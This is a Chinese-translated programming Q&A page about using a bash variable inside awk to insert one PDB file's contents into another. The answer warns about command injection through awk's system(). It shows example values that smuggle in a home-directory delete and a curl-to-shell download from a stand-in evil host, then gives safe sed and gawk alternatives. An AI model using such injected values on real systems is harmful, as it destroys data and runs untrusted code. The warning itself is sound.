簡體   English   中英

awk:在 awk 腳本中使用 bash 變量

[英]awk: using bash variable inside the awk script

下面的 bash 代碼結合了 awk 代碼以特殊方式融合 file1 和 file2,檢測到 file2 中的一些塊並插入 file1 中的所有字符串。

#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb

我不能在 awk 部分使用變量“file”的問題,它與 bash 中定義的 file1 有關

{system("cat file");}

否則,如果我在這里過去了 file1 的完整路徑,它運行良好

{system("cat /usr/data/temp/data1.pdb");}

我如何修復我的 awk 代碼以便能夠在那里直接使用 bash 變量?

字面意思(但邪惡、不安全)的答案

要回答您的字面問題

awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'

...將運行cat filename

但是,如果有人通過insecure="filename; rm -rf ~"insecure='$(curl http://evil.co | sh)' ,那么您將度過非常糟糕的一天。


正確答案

在 awk 的命令行上傳遞文件名,並檢查FNR以查看您正在讀取第一個文件還是后續文件。

使用 GNU awk 的readfile庫:

gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
        /^ENDMDL$/ { printf "%s", file1_data } 1' ...

或者,您可以使用while ((getline < file1) > 1)循環來獲取數據。

使用sed更容易

$ sed '/^ENDMDL$/r file1' file2

在標記之后插入 file1。

用 file1 內容替換標記行

$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM